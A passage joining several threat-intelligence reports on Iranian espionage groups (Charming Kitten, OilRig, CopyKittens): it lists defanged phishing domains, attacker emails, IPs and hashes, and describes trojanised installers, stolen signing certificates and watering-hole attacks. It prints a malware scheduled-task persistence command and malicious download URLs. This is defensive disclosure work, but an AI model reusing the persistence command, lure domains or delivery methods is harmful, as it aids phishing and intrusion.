gmail[.]com-u6[.]userlogin[.]securitylogin[.]activity[.]com-verification-accounts[.]com gmail-recovery[.]ml gmal[.]cf goog-le[.]bid goo-gle[.]bid goo-gle[.]cloud google[.]mail[.]com-servicecustomer[.]bid google[.]mail[.]mail[.]google[.]comservicecustomer[.]bid google[.]mail[.]www[.]com-servicecustomer[.]bid goo-gle[.]mobi google-drive[.]account-servicerecovery[.]com google-drive[.]accounts-service[.]support google-drive[.]account-support-user[.]com google-drive[.]com[.]accountservice[.]support google-drive[.]service-recoveryaccount[.]com google-hangout[.]accountservice[.]support google-hangout[.]accounts-service[.]support google-hangout[.]account-support-user[.]com google-hangout[.]verify-account[.]services google-mail[.]com[.]co googlemail[.]com-customersuperuser[.]bid google-mail-recovery[.]com googlemails[.]co google-profile[.]com google-profiles[.]com google-setting[.]com google-verification[.]com google-verify[.]com google-verify[.]net hangout[.]com-messagecenter[.]bid hangout[.]messageservice[.]club help-recovery[.]com hot-mail[.]ml hqr-mail[.]nioc-intl[.]account-user-permissionaccount[.]com id-bayan[.]com iforget-memail-user-account[.]com iranianuknews[.]com ir-owa-accountservice[.]bid itunes-id-account[.]users-login[.]com k2intelliqence[.]com k2intelliqence[.]com komputertipstrik[.]com-customeradduser[.]bid line-en[.]me log[.]account[.]accountservice[.]support login[.]com-service[.]net login[.]radio-m[.]cf login-account[.]net login-account-google[.]orginal-links[.]com login-account-mail[.]com login-again[.]ml login-mail[.]account-servicerecovery[.]com login-mail[.]verify-account[.]services login-mails[.]account-servicerecovery[.]com login-mails[.]accounts-service[.]support login-mails[.]account-support-user[.]com login-mails[.]verify-account[.]services login-required[.]ga login-required[.]ml login-required[.]tk logins-mails[.]account-customerservice[.]com logins-mails[.]account-servicerecovery[.]com logins-mails[.]accounts-service[.]support logins-mails[.]accountsservice-support[.]com logins-mails[.]com-servicecustomer[.]name logins-mails[.]service-recoveryaccount[.]com login-webmail[.]accounts-service[.]support login-webmail[.]account-support-user[.]com login-webmail[.]verify-account[.]services logn-micrsftonine-con[.]ml m[.]com-service[.]net mail[.]account-google[.]co mail[.]com-service[.]net mail[.]google[.]com-customerservice[.]name mail[.]google[.]com-customerservices[.]name mail[.]google[.]com-recoveryservice[.]info mail[.]google[.]com-servicecustomer[.]bid mail[.]google[.]com-servicescustomer[.]name mail[.]google[.]mail[.]google[.]comservicecustomer[.]bid mail[.]google[.]www[.]com-servicecustomer[.]bid mail[.]google[.]www[.]dropbox[.]comservicescustomer[.]name mail[.]group-google[.]com Page 53 of 59 All rights reserved to ClearSky Cyber Security, 2017 mail[.]mehrnews[.]info mail[.]orginal-links[.]com mail[.]yahoo[.]com-servicecustomer[.]name mail[.]youtube-com[.]watch mail3[.]google[.]com-servicecustomer[.]name mail-account-register-recovery[.]com mailgate[.]youtube-com[.]watch mailgoogle[.]com-recoveryidentifier[.]bid mailgoogle[.]com-recoverymail[.]bid mailgoogle[.]com-recoveryservice[.]bid mailgoogle[.]com-recoverysuperuser[.]bid mailgoogle[.]com-recoverysupport[.]bid mail-google[.]com-servicecustomer[.]name mailgoogle[.]com-servicerecovery[.]bid mail-inbox[.]account-support-user[.]com mail-login[.]account-login[.]net mail-login[.]accountservice[.]support mail-login[.]account-servicerecovery[.]com mail-login[.]service-recoveryaccount[.]com mail-login[.]verify-account[.]services mail-macroadvisorypartners[.]ml mails[.]com-servicerecovery[.]name mails-account-signin-users-permssion[.]com mailscustomer[.]recovery-emailcustomer[.]com mailssender[.]bid mail-user-permission-sharedaccount[.]com mail-usr[.]account-support-user[.]com mail-verify[.]account-support-user[.]com mail-yahoo[.]com[.]co market-account-login[.]net me[.]youtube[.]com-mychannel[.]bid mehrnews[.]info messageservice[.]bid messageservice[.]club mfacebook[.]login-required[.]ga microsoft-hotfix[.]com microsoft-update[.]bid microsoft-upgrade[.]mobi microsoft-utility[.]com msoffice-update[.]com mx1[.]group-google[.]com my[.]youtube[.]com-mychannel[.]bid myaccount-login[.]net mychannel[.]ddns[.]net mychannel[.]ddns[.]net mydrives[.]documents-supportsharing[.]bid myemails[.]com-recoverysuperuser[.]name my-healthequity[.]com mymail[.]com-recoveryidentifiers[.]bid mymail[.]com-recoverysuperuser[.]name my-mailcoil[.]ml mymails[.]com-recoverysuperuser[.]bid mymails[.]com-recoverysuperuser[.]name myscreenname[.]bid news-onlines[.]info nex1music[.]ml notification-accountrecovery[.]com ns1[.]check-yahoo[.]com ns1[.]com-service[.]net ns2[.]check-yahoo[.]com nvidia-support[.]com nvidia-update[.]com officialswebsites[.]info official-uploads[.]com ogin-mails[.]accounts-service[.]support onedrive-signin[.]com onlinedocument[.]bid onlinedocuments[.]org onlinedrie-account-permission-verify[.]com onlineserver[.]myftp[.]biz online-supportaccount[.]com orginal-links[.]com outlook-livecom[.]bid owa-insss-org-ill-owa-authen[.]ml paypal[.]com[.]webapp[.]logins-mails[.]servicerecoveryaccount[.]com paypal[.]com[.]webapp[.]paypal[.]com[.]webapp[. ]service-recoveryaccount[.]com paypal[.]com[.]webapp[.]servicerecoveryaccount[.]com picofile[.]xyz policy-facebook[.]com pop[.]group-google[.]com privacy-facebook[.]com privacy-gmail[.]com privacy-yahoomail[.]com profile[.]facebook[.]accountservice[.]support profile[.]facebook[.]notificationaccountrecovery[.]com profile-facebook[.]co profiles-facebook[.]com profile-verification[.]com qet-adobe[.]com radio-m[.]cf raykiel[.]net recoverycodeconfirm[.]bid recovery-customerservice[.]com recovery-emailcustomer[.]com recoverysuperuser[.]bid register-multiplay[.]ml reset-login[.]accountservice[.]support reset-login[.]account-support-user[.]com reset-login-yahoo-com[.]account-supportuser[.]com reset-mail[.]account-support-user[.]com Page 54 of 59 All rights reserved to ClearSky Cyber Security, 2017 reset-mail-yahoo-com[.]account-supportuser[.]com resets-mails[.]account-support-user[.]com result2[.]com-servicescustomer[.]name result2[.]www[.]dropbox[.]comservicescustomer[.]name sadashboard[.]com saudiarabiadigitaldashboards[.]com saudi-government[.]com saudi-haj[.]com screen-royall-in-corporate[.]com screen-shotuser-trash-green[.]com sdfsd[.]screen-royall-in-corporate[.]com sdfsd[.]screen-shotuser-trash-green[.]com security-supportteams-mail-change[.]ga service-accountrecovery[.]com service-broadcast[.]com servicecustomer[.]bid servicelogin-mail[.]account-servicerecovery[.]com service-logins[.]net servicemailbroadcast[.]bid service-recoveryaccount[.]com set-ymail-user-account-permissionchallenge[.]com shared-access[.]com shared-login[.]com shared-permission[.]com shop[.]account-dropbox[.]net shorturlbot[.]club show[.]video-youtube[.]cf show-video[.]info slmkhubi[.]ddns[.]net smstagram[.]com smtp[.]com-service[.]net smtp[.]group-google[.]com smtp[.]youtube-com[.]watch sports[.]accountservice[.]support sprinqer[.]com support[.]account-google[.]co support-aasaam[.]bid support-aasaam[.]com support-accountsrecovery[.]com support-google[.]co support-recoverycustomers[.]com supports-recoverycustomers[.]com support-verify-account-user[.]com tadawul[.]com[.]co tai-tr[.]com tcp[.]shorturlbot[.]club team-speak[.]cf team-speak[.]ga team-speak[.]ml teamspeak-download[.]ml teamspeaks[.]cf telagram[.]cf test[.]service-recoveryaccount[.]com token-ep[.]com uk-service[.]org update-checker[.]net update-driversonline[.]bid update-driversonline[.]club update-finder[.]com update-microsoft[.]bid updater-driversonline[.]club update-system-driversonline[.]bid uploader[.]sytes[.]net upload-services[.]com uri[.]cab us[.]battle[.]net[.]cataclysm[.]accountlogins[.]com usersettings[.]cf users-facebook[.]com users-login[.]com users-yahoomail[.]com utc[.]officialswebsites[.]info utopaisystems[.]net verify-account[.]services verify-accounts[.]info verify-facebook[.]com verify-gmail[.]tk verify-your-account-information[.]userslogin[.]com video[.]yahoo[.]com[.]accountservice[.]support video[.]yahoo[.]com-showvideo[.]gq video[.]youtube[.]com-showvideo[.]ga video-mail[.]account-support-user[.]com video-yahoo[.]accountservice[.]support video-yahoo[.]account-support-user[.]com video-yahoo[.]com[.]accountservice[.]support video-youtube[.]cf w3sch00ls[.]hopto[.]org w3school[.]hopto[.]org w3schools[.]hopto[.]org w3schools-html[.]com watch-youtube[.]org[.]uk webmaiil-tau-ac-il[.]ml webmail-login[.]accountservice[.]support webmail-tidhar-co-il[.]ml wildcarddns[.]com-service[.]net windows-update[.]systems wp[.]com-microsoftonline[.]club ww2[.]group-google[.]com ww62[.]group-google[.]com ww62[.]mx1[.]group-google[.]com ww92[.]group-google[.]com xn--googe-q2e[.]ml Page 55 of 59 All rights reserved to ClearSky Cyber Security, 2017 yahoo[.]com[.]accountservice[.]support yahoo-proflles[.]com yahoo-verification[.]net yahoo-verification[.]org yahoo-verify[.]net youetube[.]ga yourl[.]bid youttube[.]ga youttube[.]gq youtubbe[.]cf youtubbe[.]ml youtube[.]com[.]login-account[.]net youtube[.]com-service[.]gq youtube-com[.]watch youtubee-videos[.]com youtubes[.]accounts[.]com-serviceslogin[.]com youtuebe[.]co youtuobe[.]com[.]co youutube[.]cf yurl[.]bid admin@doc-viewer.com admin@dropebox.co admin@screen-royall-in-corporate.com admin@screen-shotuser-trash-green.com anita.jepherson@gmail.com aryaieiran@gmail.com aryaieiran@gmail.com bahra.azadeh88@gmail.com cave.detector@yandex.com cave.detector@yandex.com center2016@yandex.com chada.martini@yandex.com chada.martini@yandex.com cool.hiram@yandex.com customers.mailservice@gmail.com customers.noreplyservice@gmail.com international.research@mail.com isabella.careyy@gmail.com isabella.careyy@gmail.com john.lennon@uymail.com jully.martin@yandex.com jully.martin@yandex.com mails.customerservices@gmail.com martin.switch911@gmail.com martin.switch911@gmail.com message.intercom@gmail.com message.intercom@gmail.com nami.rosoki@gmail.com online.nic@yandex.com online.nic@yandex.com rich.safe@yandex.com rskitman@gmail.com sali.rash@yandex.com sali.rash@yandex.com service.center2016@yandex.com service.center2016@yandex.com suspended.user.noitification@gmail.com yaffa.hyatt9617@gmail.com 107.150.38.19 107.150.60.156 107.150.60.158 107.6.179.131 136.243.108.100 136.243.221.148 136.243.226.189 137.74.131.208 137.74.148.218 144.76.97.61 144.76.97.62 145.239.120.88 149.56.135.42 149.56.201.205 158.255.1.34 164.132.251.217 164.132.29.69 173.208.129.180 173.244.180.131 173.244.180.132 173.244.180.133 173.244.180.134 173.45.108.55 173.90.180.125 178.33.38.128 185.117.74.165 185.141.24.64 185.141.24.66 185.82.202.174 192.99.127.216 194.88.107.63 204.12.207.108 204.12.207.110 204.12.242.84 204.12.242.85 207.244.77.15 207.244.79.143 207.244.79.144 207.244.79.147 207.244.79.148 208.110.73.219 208.110.73.220 208.110.73.221 208.110.73.222 209.190.3.113 209.190.3.114 209.190.3.115 209.190.3.41 Page 56 of 59 All rights reserved to ClearSky Cyber Security, 2017 209.190.3.42 209.190.3.43 213.152.173.198 213.32.11.30 213.32.49.232 217.23.3.158 217.23.5.166 31.3.236.90 31.3.236.91 31.3.236.92 37.220.8.13 46.17.97.240 46.17.97.243 46.17.97.37 46.17.97.40 5.152.202.51 5.152.202.52 5.79.105.153 5.79.105.156 5.79.105.161 5.79.105.165 5.79.69.198 51.254.254.217 51.255.28.57 54.36.217.8 69.30.221.126 69.30.224.244 69.30.224.245 81.171.25.229 81.171.25.232 85.17.172.170 86.105.1.111 91.218.245.251 92.222.206.208 93.158.200.170 93.158.215.50 93.158.215.52 94.23.90.226 00b5d45433391146ce98cd70a91bef08 07fb3f925f8ef2c53451b37bdd070b55 0a3f454f94ef0f723ac6a4ad3f5bdf01 0e3cb289f65ef5faf40fa830ac9b1bf6 1c00fd5e1ddd0226bd854775180fd361 1db12ec1f335ee5995b29dea360514a2 20f2da7b0c482ab6a78e9bd65a1a3a92 253b4f5c6611a4bc9c7f5269b127c8e9 3261d45051542ab3e54fa541f132f899 356439bfb9b2f49858897a22dd85df86 365482f10808ddd1d26f3dc19c41c993 3bb2f304a59255dddc5ef6bb0a32aec7 3edec580845d7ab85fa893afb391fbfb 5e9a458dcdfc9d2ce996081ec87c30e0 5ec9f484603b89f80f351bb88279ebb1 6bd505616e12e3dd7f2287f24f34609f 6cfa579dd1d33c2fa42d85c2472f744c 7df3a83dfcce130c01aabede3cfe8140 7e1cf48d84e503499c9718c50e7a1c52 9c7ae44baf8df000bb614738370d1171 9d0e761f3803889dc83c180901dc7b22 a43b7cc495741248f3647e647f776467 a9117da1cb51adbc88a52a6e3b16a6c4 ae797446710e375f0fc9a33432d64256 af5c01a7a3858bc3712ab69bc673cec4 bd0a6fe7a852fdd61c1da37cf99103d2 be207941ce8a5e212be8dde83d05d38d bfd21f2847c1d7aa0f409ef52ed52e05 c7760dc8f7baf67f80ab549af27df9e9 c96453247ee1ecbd4053da8bbb4cf572 ccaf21e122ca9d2e2397a9e28eb4cc87 d6ea39e1d4aaa8c977a835e72d0975e3 d6fa439f0278babb1edff32d8dc31c59 da1f6a5f2a5564c2131b4a311c55f487 e7dd9b8fe7ae14faad304d139f71b629 e93992f26f224ea53d9bdd9564e8e1c0 edd4011696ddd349575278aed7031a47 f5763b8b796b1c5d04febcc65f853967 f7f9806af42adb80d100e55f35cfa86c f9255e0d492eb20df1e78ccc970b121a fac158623b0e3ed3bea6e24b1795cb95 479e1e02d379ad6c3c7f496d705448fa955b50a1 67bb83bbe82ffa910386216619c5ebf9eecf13e6 6cacf83033fa97f4ac27eb27e4aa265afa4dc51d a2f17906ca39e7f41a8adeea4be5ffb7d1465c4a c5ea8680162d3e8bc3d71c060c15bf224c873f7a d97b13ed0fe3e41b60b9d45b6e7f68c9b6187b96 eac4a47f238ee62661f464a807b3e0b5079b835f ecf9b7283fda023fa37ad7fdb15be4eadded4e06 19c0977fdbc221f7d6567fb268a4ef4cd2a759fcbc1 039a82366978089f080d2 1a24714fd99030bd63804ab96fc2612f148a5f08d1 c2845152c3a0e168600db9 261c5f32abb8801576ce81be2c66bca564a8a28ab 5ea0954bad6bac7071e299b 2c92da2721466bfbdaff7fedd9f3e8334b688a88ee 54d7cab491e1a9df41258f 2db1e2c49ff0792b54d84538c9a420de7aa619602 b66add502e2b6ea7c79fd4b 4fff9cd7f5f4c9048cfaf958a54cc4c4bc14c9fdbfd63 e2c17f79913f0ea8c21 6618051ea0c45d667c9d9594d676bc1f4adadd8cb 30e0138489fee05ce91a9cb 8aff94ceb2fed8ba864df929fbbec3dd82cbd968c5 b2f42971fb756d1ba1ecb6 a86ccf0049be20c105e2c087079f18098c739b86d5 2acb13f1d41f1ccc9f8e1c Page 57 of 59 All rights reserved to ClearSky Cyber Security, 2017 acca9f004a596ea33af65725c2319bf845a442ee9fa 09c511d359df2f632cf4d b0b177d06fb987429f01d937aaa1cbb7c93a69cfae f146b60f618f8ab26fac38 d4375a22c0f3fb36ab788c0a9d6e0479bd19f48349 f6e192b10d83047a74c9d7 d7e1d13cab1bd8be1f00afbec993176cc116c2b233 209ea6bd33e6a9b1ec7a7f d7f2b4188b7c30c1ef9c075891329dbcf8e9b5ebac 1ef8759bc3bb2cf68c586f d84e808e7d19a86bea3862710cae1c45f7291e984 c9857d0c86881812674d4bb e6cd39cf0af6a0b7d8129bf6400e671d5fd2a3797b 92e0fe4a8e93f3de46b716 Page 58 of 59 All rights reserved to ClearSky Cyber Security, 2017 Appendix B - Previous reports about Charming Kitten and Rocket Kitten Rocket Kitten: rocket kitten: a campaign with 9 lives - Check Point Blog38 LONDON CALLING Two-Factor Authentication Phishing From Iran39 Thamar Reservoir An Iranian cyber-attack campaign against targets in the Middle East40 Rocket Kitten Showing Its Claws: Operation Woolen-GoldFish and the GHOLE campaign41 The Kittens Strike Back: Rocket Kitten Continues Attacks on Middle East Targets42 Increased Use of Android Malware Targeting Journalists43 Iran and the Soft War for Internet Dominance44 Charming Kitten: iKittens: Iranian Actor Resurfaces with Malware for Mac (MacDownloader)45 Fictitious Profiles and WebRTC s Privacy Leaks Used to Identify Iranian Activists46 Freezer Paper around Free Meat47 https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf https://citizenlab.ca/2015/08/iran_two_factor_phishing/ http://www.clearskysec.com/thamar-reservoir/ https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-woolen-goldfish-when-kittens-gophishing https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/rocket-kitten-continues-attacks-on-middle-easttargets https://iranthreats.github.io/resources/android-malware/ https://iranthreats.github.io/us-16-Guarnieri-Anderson-Iran-And-The-Soft-War-For-Internet-Dominance-paper.pdf https://iranthreats.github.io/resources/macdownloader-macos-malware/ https://iranthreats.github.io/resources/webrtc-deanonymization/ https://securelist.com/freezer-paper-around-free-meat/74503/ Page 59 of 59 All rights reserved to ClearSky Cyber Security, 2017 Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford clearskysec.com/oilrig/ Iranian threat agent OilRig has been targeting multiple organisations in Israel and other countries in the Middle East since the end of 2015. In recent attacks they set up a fake VPN Web Portal and targeted at least five Israeli IT vendors, several financial institutes, and the Israeli Post Office. Later, the attackers set up two fake websites pretending to be a University of Oxford conference sign-up page and a job application website. In these websites they hosted malware that was digitally signed with a valid, likely stolen code signing certificate Based on VirusTotal uploads, malicious documents content, and known victims other targeted organisations are located in Turkey, Qatar, Kuwait, United Arab Emirates, Saudi Arabia, and Lebanon. Fake VPN Web Portal In one of the recent cases, the attackers sent the following email to individuals in targeted organisations: The email was sent from a compromised account of an IT vendor. Similar emails were sent from other IT vendors in the same time period, suggesting the attackers had a foothold within their networks, or at least could get access to specific computers or email accounts. The link provided in the malicious email led to a fake VPN Web Portal: Upon logging in with the credentials provided in the email, the victim is presented with the following page: The victim is asked to install the VPN Client (an .exe file), or, if download fails, to download a password protected zip (with the same .exe file inside). The VPN Client is a legitimate Juniper VPN software bundled with Helminth, a malware in use by the OilRig threat agnet: JuniperSetupClientInstaller.exe 6a65d762fb548d2dc56cfde4842a4d3c (VirusTotal link) If the victim downloads and installs the file, their computer would get infected, while the legitimate VPN software is installed. The legitimate and the malicious installations can be seen in the process tree when the file is run in a Cuckoo sandbox. Malicious processes are marked red (click image to enlarge): The following malicious files are dropped and run: C:\ProgramData\{2ED05C38-D464-4188-BC7F-F6915DE8D764}\OFFLINE\9A189DFE\C7B7C186\main.vbs dcac79d7dc4365c6d742a49244e81fd0 C:\Users\Public\Libraries\RecordedTV\DnE.ps1 7fe0cb5edc11861bc4313a6b04aeedb2 C:\Users\Public\Libraries\RecordedTV\DnS.ps1 3920c11797ed7d489ca2a40201c66dd4 C:\Windows\System32\schtasks.exe /create /F /sc minute /mo 3 /tn GoogleUpdateTasksMachineUI /tr C:\Users\Public\Libraries\RecordedTV\backup.vbs 7528c387f853d96420cf7e20f2ad1d32 Command and control server is located in the following domain: tecsupport[.]in A detailed analysis of the malware is provided in two posts by Palo Alto networks and in a post by FireEye, which wrote about previous campaigns by this threat agent. (Note that Juniper networks was not compromised nor otherwise involved in the attack, except for the attackers using its name and publicly available software). Digitally signed malware The entire bundle (VPN client and malware) was digitally signed with a valid code signing certificate issued by Symantec to AI Squared, a legitimate software company that develops accessibility software: Thumbprint: F340C0D841F9D99DBC289151C13391000366631C Serial number: 45 E4 7F 56 0B 01 B6 4E 68 39 5E 5D 79 2F 2E 09 Another Helminth sample, 1c23b3f11f933d98febfd5a92eb5c715, was signed with a different AI Squared code signing certificate: Thumbprint: 92B8C0872BACDC226B9CE4D783D5CCAD61C6158A Serial number:62 E0 44 E7 37 24 61 2D 79 4B 93 AF 97 46 13 48 This suggest that the attackers had got a hold of an Ai Squared signing key, potentially after compromising their network. Alternatively, the attackers might have got Symantec to issue them a certificate under Ai Squared s name. [Update 11 February 2017: In a notification in its website, Ai Squared says that The digital certificate used to certify newer ZoomText and Window-Eyes software products has been compromised. As a result, our certificate will be revoked on or around January 26th University of Oxford impersonation The attackers registered four domains impersonating The University of Oxford. oxford-symposia[.]com, is a fake Oxford conference registration website. Visitors are asked to download the University Of Oxford Job Symposium Pre-Register Tool The downloaded file (which is also signed with an AI Squared certificate), is a fake registration tool built by the attackers: OxfordSymposiumRegTool.exe f77ee804de304f7c3ea6b87824684b33 If run by the victim, their computer would get infected, while they are shown this registration process: Note that after completing the registration process , the victim is asked to send the form to an email address in oxford-careers[.]com, which also belongs to the attackers. Previously the fake website linked to the following documents in a third fake Oxford domain, oxford[.]in: http://oxford[.]in/downloads/ls1.doc http://oxford[.]in/downloads/ls2.doc http://oxford[.]in/downloads/ls3.doc http://oxford[.]in/downloads/ls4.do The documents were unavailable during our research, and their content is unknown to us. The attackers used a forth domain, oxford-employee[.]com, to host an Oxford Job application website: Visitors are asked to Download CV Creator in order To Join University of Oxford staff . CV Creator is a malicious file hosted at http://www.oxford-careers[.]com/Files/OxfordCVCreator.exe : OxfordCVCreator.exe 5713c3c01067c91771ac70e193ef5419 When run, the victim is again presented with a tool created by the attackers, this time a University Of Oxford Official CV Creator Both samples mentioned in this section had the following domain used for command and control: updater[.]li Other incidents In an earlier incident, the attackers sent a malicious excel file impersonating Israir, an Israeli Airline (the content of the file was copied from the company s public website and we have no indication of it being compromised or targeted): Israel Airline.xls 197c018922237828683783654d3c632a The file had a macro that if enabled by the user would infect its computer. In other incidents the attackers used the following files: Special Offers.xls / Salary Employee 2016.xls f76443385fef159e6b73ad6bf7f086d6 pic.xls 3a5fcba80c1fd685c4b5085d9d474118 People List.xls bd7d2efdb2a0f352c4b74f2b82e3c7bc cv.xls 72e046753f0496140b4aa389aee2e300 users.xls 262bc259682cb48ce66a80dcc9a5d587 Employee Engagement Survey.xls 726175e9aba421aa0f96cfc005664302 JuniperSetupClientInstaller.exe f8ce7e356e09de6a48dca9e51421b6f6 Project_Domain_No337.chm 1792cdd0c5397ff5df445d73276d1a50 (undetected as malicious by any antivirus on VirusTotal ) gcaa_report_series15561.chm d50ab63f4034c6f5eb356e3326320e66 (undetected as malicious by any antivirus on VirusTotal ) Infrastructure overlap with Cadelle and Chafer In December 2015, Symantec published a post about two Iran-based attack groups that appear to be connected, Cadelle and Chafer that have been using Backdoor.Cadelspy and Backdoor.Remexi to spy on Iranian individuals and Middle Eastern organizations Backdoor.Remexi, one of the malware in use by Chafer, had the following command and control host: 87pqxz159.dockerjsbin[.]com Interestingly, IP address 83.142.230.138, which serve as a command and control address for an OilRig related sample (3a5fcba80c1fd685c4b5085d9d474118), was pointed to by 87pqxz159.dockerjsbin[.]com as well. This suggest that the two groups may actually be the same entity, or that they share resources in one why or another. Indicators of compromise Indicators file: oilrig-indicators.csv (also available on PassiveTotal) The graph below depicts the OilRig infrastructure (click to enlarge): Acknowledgments This research was facilitated by PassiveTotal for threat infrastructure analysis, and by MalNet for malware research . We would like to thank White-Hat, Tom Lancaster of Palo Alto Networks, Michael Yip of Stroz Friedberg, security researcher Marcus, and other security researchers and organizations who shared information and provided feedback. Operation Wilted Tulip Exposing a cyber espionage apparatus ClearSky Cyber Security Trend Micro July 2017 Contents Introduction ..........................................................................................................................................................3 Targetting.....................................................................................................................................................3 Malware .......................................................................................................................................................3 Targeting ...............................................................................................................................................................4 Delivery and Infection ..........................................................................................................................................5 Watering Hole Attacks .....................................................................................................................................5 Web-Based Exploitation ...................................................................................................................................6 Malicious Documents .......................................................................................................................................7 Exploiting CVE-2017-0199............................................................................................................................7 Embedded OLE Objects..............................................................................................................................11 Malicious Macros .......................................................................................................................................15 Fake Social Media Entities..............................................................................................................................16 Web Hacking ..................................................................................................................................................19 Infrastructure Analysis........................................................................................................................................20 Domains .........................................................................................................................................................20 IPs ...................................................................................................................................................................24 Malware..............................................................................................................................................................27 TDTESS Backdoor............................................................................................................................................27 Installation and removal ............................................................................................................................27 Functionality ..............................................................................................................................................29 Indicators of Compromise .........................................................................................................................30 Vminst for Lateral Movement ........................................................................................................................31 NetSrv Cobalt Strike Loader ........................................................................................................................32 Matryoshka v1 RAT .....................................................................................................................................33 Matreyoshka v2 RAT ...................................................................................................................................33 ZPP File Compressor ....................................................................................................................................35 Cobalt Strike ...................................................................................................................................................36 Metasploit ......................................................................................................................................................37 Empire Post-exploitation Framework ............................................................................................................38 Indicators of Compromise ..................................................................................................................................39 Page 2 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Introduction CopyKittens is a cyberespionage group that has been operating since at least 2013. In November 2015, ClearSky and Minerva Labs published1 the first public report exposing its activity. In March 2017, ClearSky published a second report2 exposing further incidents, some of which impacted the German Bundestag. In this report, Trend Micro and ClearSky expose a vast espionage apparatus spanning the entire time the group has been active. It includes recent incidents as well as older ones that have not been publicly reported; new malware; exploitation, delivery and command and control infrastructure; and the group's modus operandi. We dubbed this activity Operation Wilted Tulip Targetting CopyKittens is an active cyber espionage actor whose primary focus appears to be foreign espionage on strategic targets. Its main targets are in countries such as Israel, Saudi Arabia, Turkey, The United States, Jordan, and Germany. Occasionally individuals in other countries are targeted as well as UN employees. Targeted organizations include government institutions (such as Ministry of Foreign Affairs), academic institutions, defense companies, municipal authorities, sub-contractors of the Ministry of Defense, and large IT companies. Online news outlets and general websites were breached and weaponized as a vehicle for watering hole attacks. For example, a malicious email was sent from a breached account of an employee in the Ministry of Foreign Affairs in the Turkish Republic of Northern Cyprus, trying to infect multiple targets in other government organizations worldwide. In a different case, a document likely stolen from the Turkish Ministry of Foreign affairs was used as decoy. In other cases, Israeli embassies were targeted, as well as foreign embassies in Israel. Victims are targeted by watering hole attacks, and emails with links to malicious websites or with malicious attachments. Fake Facebook profiles have been used for spreading malicious links and building trust with targets. Some of the profiles have been active for years. Malware CopyKittens use several self-developed malware and hacking tools that have not been publicly reported to date, and are analyzed in this report: TDTESS backdoor; Vminst, a lateral movement tool; NetSrv, a Cobalt Strike loader; and ZPP, a files compression console program. The group also uses Matryoshka v1, a selfdeveloped RAT analyzed by ClearSky in the 2015 report, and Matryoshka v2 which is a new version, albeit with similar functionality. The group often uses the trial version of Cobalt Strike3, a publicly available commercial software for "Adversary Simulations and Red Team Operations." Other public tools used by the group are Metasploit, a well-known free and open source framework for developing and executing exploit code against a remote target machine; Mimikatz, a post-exploitation tool that performs credential dumping; and Empire, "a PowerShell and Python post-exploitation agent." For detection and exploitation of internet-facing web servers, CopyKittens use Havij, Acunetix and sqlmap. A notable characteristic of CopyKittens is the use of DNS for command and control communication (C&C) and for data exfiltration. This feature is available both in Cobalt Strike and in Matryoshka. Most of the infrastructure used by the group is in the U.S., Russia, and The Netherlands. Some of it has been in use for more than two years. www.clearskysec.com/report-the-copykittens-are-targeting-israelis/ www.clearskysec.com/copykitten-jpost/ https://www.cobaltstrike.com Page 3 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Targeting Based on Trend Micro Telemetry, incident response engagements, and open source threat intelligence investigations, we have learned of CopyKittens target organizations and countries. Its main targets are in countries such as Israel, Saudi Arabia, Turkey, The United States, Jordan, and Germany. Occasionally individuals in other countries are targeted as well as UN employees. Targeted organizations include government institutions (such as Ministry of Foreign Affairs), academic institutions, defense companies, municipal authorities, sub-contractors of the Ministry of Defense, and large IT companies. Online news outlets and general websites were breached and weaponized as a vehicle for watering hole attacks. For example, a malicious email was sent from a breached account of an employee in the Ministry of Foreign Affairs in the Turkish Republic of Northern Cyprus, trying to infect multiple targets in other government organizations worldwide. In a different case, a document likely stolen from the Turkish Ministry of Foreign affairs was used as decoy. In other cases, Israeli embassies were targeted, as well as foreign embassies in Israel. Based on the size of the attack infrastructure and length of the campaign, we estimate that there have been at least a few hundred people infected in multiple organizations in the targeted countries. After infecting a computer within a target organization, the attacker would move latterly using one of the malware descried in chapter "Malware." It seems that their objective is to gather as much information and data from target organizations as possible. They would indiscriminately exfiltrate large amounts of documents, spreadsheets, file containing personal data, configuration files and databases. In at least one case, the attackers breached an IT company, and used VPN access it had to client organizations to breach their networks. Often, victim organizations would learn of the breach due to the non-stealthy behavior of the attackers. The attackers would "get greedy," infecting multiple computers within the network of breached organizations. This would raise an alarm in various defense systems, making the victims initiate incident response operations. Page 4 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Delivery and Infection CopyKittens attack their targets using the following methods: Watering hole attacks inserting malicious JavaScript code into breached strategic websites. Web based exploitation emailing links to websites built by the attackers and containing known exploits. Malicious documents email attachments containing weaponized Microsoft Office documents. Fake social media entities fake personal and organizational Facebook pages are used for interaction with targets and for information gathering. Web hacking Havij, Acuntix and sqlmap are used to detect and exploit internet-facing web servers. These methods are elaborated below. Watering Hole Attacks On 30 March 2017, ClearSky reported a breach of multiple websites, such as Jerusalem Post, Maariv news and the IDF Disabled Veterans Organization website.4 JavaScript code was inserted into the breached websites, loading BeEF (Browser Exploitation Framework) from domains owned by the attackers .5 For example: Malicious code added to Maariv website The malicious code was loaded from one of the following addresses: https://js.jguery[.]net/jquery.min.js https://js.jguery[.]online/jgueryui.min.js This would enable the attackers to perform actions such as browser fingerprinting and information gathering, social engineering attacks (like asking for credentials, redirect to another page, asking the user to install a malicious extension or malware), network reconnaissance, infecting the computer using Metasploit exploits, and more.6 The malicious code was served only when specific targets visited the website, likely based on IP whitelisting. Notably, prior to that publication, the German Federal Office for Information Security (BSI) said in a statement that it had investigated "problems in network traffic" of the German Bundestag.7 The statement concluded that the website of Israeli newspaper Jerusalem Post was manipulated and linked to a harmful third party in January 2017. www.clearskysec.com/copykitten-jpost http://beefproject.com https://github.com/beefproject/beef/wiki https://www.bsi.bund.de/DE/Presse/Pressemitteilungen/Presse2017/CyberAngriff_auf_den_Bundestag_Stellungnahme_29032017.html Page 5 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Web-Based Exploitation In two incidents, the attackers breached the mailbox of a person related to a target organization. From this (real) account, they replied to previous correspondences with these organizations, adding a malicious link to a website registered and built by attackers: primeminister-goverment-techcenter].[tech. 8 JavaScript code, at least parts of which were copied from public sources, fingerprinted the visitor's web browser.9 This was likely used for later browser exploitation with known vulnerabilities. In some pages the code enumerates and collects a list of installed browser plugins, in others it tries to detect 